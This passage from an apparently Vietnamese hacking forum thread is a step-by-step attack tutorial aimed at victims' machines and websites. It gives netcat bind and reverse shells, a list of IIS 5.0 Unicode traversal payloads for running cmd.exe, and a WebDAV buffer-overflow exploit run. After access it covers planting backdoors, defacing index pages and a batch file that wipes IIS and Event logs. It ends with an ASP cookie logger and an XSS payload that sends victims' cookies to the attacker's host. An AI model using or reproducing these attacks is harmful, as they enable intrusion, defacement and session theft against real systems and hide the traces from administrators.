kết nối đến, thường là shell lệnh cmd.exe ( đối với NT) hoặc /bin/sh(đối
với Unix). Ví dụ:

CODE
E:\>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error


Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn
nhân trên cổng đã định, chẳng hạn như 8080

CODE
C:\>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>cd test
cd test
E:\test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:\test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:\test>exit
exit
sent 20, rcvd 450: NOTSOCK


Như các bạn đã thấy , ta có thể làm những gì trên máy của nạn nhân rồi ,
chỉ cần một số lệnh cơ bản , ta đã chiếm được máy tính của đối phương
, các bạn hãy xem tiếp nhé :

CODE
E:\>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...?
?


Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng
nghe. Chỉ cần chỉ định địa chỉ nguồn là -s<địa_chỉ_ip_của_máy_này>. Ví
dụ:

CODE
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang
lắng nghe
...
E:\>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?
?


Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền
Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là
xong.
Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì
netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy
dùng udpshell thay cho netcat.

( Dựa theo bài viết của huynh Vicky )

49 . ) Kỹ thuật hack IIS server 5.0 :

_ IIS server với các phiên bản từ trước đến phiên bản 5.0 đều có lỗi để
ta có thể khai thác , do bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên
lỗi ở các phiên bản trước tôi không đề cập đến . Bây giờ tôi sẽ bày
các bạn cách hack thông qua công cụ activeperl và IE , các bạn có thể vận dụng
cho các trang Web ở VN vì chúng bị lỗi này rất nhiều . Ta hãy bắt đầu nhé .
_ Trước hết các bạn hãy download activeperl và Unicode.pl .
_ Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay
không :

CODE
telnet < tên trang Web > 80
GET HEAD / HTTP/1.0


Nếu nó không báo cho ta biết mục tiêu đang sử dụng chương trình gì thì các
bạn hãy thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001 .v.v…
_ Sau khi đã xác định được mục tiêu các bạn vào DOS gõ :

CODE
perl unicode.pl
Host: ( gõ địa chỉ server mà các bạn muốn hack )
Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đã telnet trước đó ) .


_ Các bạn sẽ thấy bảng liệt kê lỗi ( đã được lập trình trong Unicode.pl )
như sau :

CODE
[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+
[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+
[13]/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+
[14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe?/c+
[15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+


Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất
cả những lỗi như vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17
thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi .
Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7
, tôi sẽ ra IE và nhập đoạn mã tương ứng trên Address :

http://www.xxx.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 3
hoặc
http://www.xxx.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 7

Đến đây các bạn đã có thể xâm nhập vào server của nạn nhân rồi đó , các
bạn hãy sử dụng lệnh trong DOS mà khai thác thông tin trong này . Thông thường
các trang Web nằm ở thư mục vinetpub\wwwroot , các bạn vào được rồI thì chỉ
cần thay index.html vớI tên hack by …. Là được rồi , đừng quậy họ nhé .

Admin
Admin

Tổng số bài gửi : 782
Join date : 2009-08-15

View user profile http://hackis.forumotion.com

Back to top Go down

Re: Những hiểu biết cơ bản nhất để trở thành Hacker

Post  Admin on Tue Dec 28, 2010 8:55 am

50 . ) Kỹ thuật hack server thông qua lỗi tràn bộ đệm WebDAV :

Giới thiệu : Giao thức World Wide Web Distributed Authoring and Versioning (WebDAV) là một tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một cách thức chuẩn cho việc biên tập và quản lý file giữa các máy tính trên Internet. Lỗi tràn bộ đệm đã được phát hiện trong một thành phần của Windows 2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều khiển máy tính .
Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các bạn hãy vào down thêm www32.brinkster.com/anhdenday/wb.zip extract để ở trong C:\
Khai thác :
+ Tìm một trang Web dùng IIS 5.0
+ Vào Dos , vào đặt NETCAT ở chế độ lắng nghe :
C:\>nx -vv -l -p 53
listening on [any] 53 ...
Ta để nó lắng nghe ở cổng 53 vì tường lửa ko chặn cổng này .

+ Mở thêm một của sổ DOS nữa .
+ Ta sử dụng WebDAV vừa down về .

c:\wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để tấn công> <cổng lắng nghe> [padding=1,2,3...]

VD :
C:\> webdav xxx.xxx.xxx.xxx 203.162.xxx.xxx 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer

Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting... CONNECTED
Sending evil request... SENT
Now if you are lucky you will get a shell.
+ Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu như ở máy tính dùng để tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó :
C:\>nc -vv -l -p 53
listening on [any] 53 ...
connect to [203.162.xxx.xxx] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32> <-- OK đã thành công rùi.
+ Khi đã có shell rồi việc đầu tiên là ta sử dụng các lệnh trong Unix để khai thác , sau đó up lên server vài con backdoor , he he . ( Sử dụng con WinShell, Hack Defensed là ok rùi ) .
+ Sau khi làm xong ta sẽ xoá file log , để xác định file log ta thực hiện câu truy vấn sau :
C:\WINNT\system32>reg query HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters /v LogFileDirectory ! REG.EXE VERSION 2.0
kết quả nó sẽ xuất hiện link để ta xác định file log :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters LogFileDirectory REG_SZ C:\WINNT\System32\LogFiles
He he , đường dẫn file log là C:\WINNT\System32\LogFiles
+ Ta tạo một file a.bat trên máy của nạn nhân để thực hiện việc xoá file log này , ta đánh các lệnh sau :
C:\WINNT\system32>echo iisreset /stop >a.bat ' tạm dừng server IIS
C:\WINNT\system32>echo rd /q /s C:\WINNT\System32\LogFiles >>a.bat ' xóa nhật kí của IIS
C:\WINNT\system32>echo iisreset /start >>a.bat ' khởi động lại IIS
C:\WINNT\system32>echo ce >>a.bat ' xóa nhật kí của Event Log
C:\WINNT\system32>echo del a.bat >>a.bat ' xóa file a.bat
+ Sau đó ta dùng các lệnh sau để cho flie a.bat kia làm việc :
C:\WINNT\system32>net time \xxx.xxx.xxx.xxx ' lấy thời gian hiện tại của máy chủ
Nó sẽ cho kết quả như VD sau :
Current time at \xxx.xxx.xxx.xxx is dd/mm/yy 3:00 PM
The command completed successfully
Như vậy thờI gian hiện tạI trên máy chủ là 15:00 , ta sẽ cho file a.bat làm việc sau 5 phút nữa bằng lệnh sau :
C:\WINNT\system32>at 15:05 a.bat
Added a new job with job ID = 1
Ta có thể mặc đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ vào thông số thời gian bạn đưa vào .
Ta thoát khỏi máy chủ bằng lệnh :

C:\WINNT\system32>exit ' đóng kết nối
sent 207, rcvd 746
+ Lúc này thì mấy admin có tài thánh cũng ko biết là đã có người thâm nhập.
_ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực tiếp thông qua backdoor các bạn đã up lên.
_ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là :
+ xoafilelog.exe : dùng để xoá file log trong server của victim .
+ wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta khai thác hay không , các bạn tự tìm hiểu để sử dụng chúng nhé.
51 . ) Lỗi CROSS SITE SCRIPTING và cách khai thác :

Giới thiệu : Lỗi XSS ( tên gọi của Cross-Site Scripting ) nói nôm na là hacker có thể thông qua lỗi này để chèn code vào site hay link để chôm các thông tin quan trọng từ nạn nhân, các thông tin quan trọng ở đây có thể là cookie hoặc username + pass để vào tài khoản 1 ngân hàng nào đó sau đó thông tin này được gửi tới cho hacker .
Chuẩn bị :
+ Lấy đoạn code sau save lại thành file cookie.asp rồi up lên host của bạn có hỗ trợ asp ( như brikster.com ) :
<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing
%>
Kiểm tra trang Web bị lỗi :
+ 1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó .
+ Cách tìm lỗi ta chia thành 4 bước :
Bước 1 : Mở website cần kiểm tra .
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "abc" chẳng hạn hay chữ gì cũng được .
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về :
Ví dụ bạn thấy như thế này :
"Your search for 'abc' did not find any items"
"Your search for 'abc' returned the following results"
"User 'abc' is not valid"
"Invalid login 'abc'"
hoặc là cái gì đó mà có dính tới chữ "abc" mà bạn nhập vào ban đầu thì 99% thằng này bi XSS

Bước 4 : Chèn code thực sự vào nơi bị lỗi :
chèn cái này :

<script>alert('abc')</script>

vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "abc" thì thằng này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES nó ra để xem . Khi view sources nhớ kiếm dòng này<script>alert('abc')</script> , nếu có thì XSS đây rồi .
Một ví dụ khác thường gặp hơn :
Gọi http://sitebiloi.com là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : http://sitebiloi.com/?page=<script>...<script> , nghĩa là ta có thể chèn code ngay trên thanh ADDRESS .
Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi .
Khai thác :
+ Lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta làm như thế này :
http://sitebiloi.com/index.asp?page=<script>window.open("http:// địa chỉ trang Web ta vừa up file cookie. asp lên /cookie.asp?cookie="+document

Admin
Admin

Tổng số bài gửi : 782
Join date : 2009-08-15

View user profile http://hackis.forumotion.com

Back to top Go down

Re: Những hiểu biết cơ bản nhất để trở thành Hacker

Post  Sponsored content Today at 4:50 pm


Sponsored content


Back to top Go down

View previous topic View next topic Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum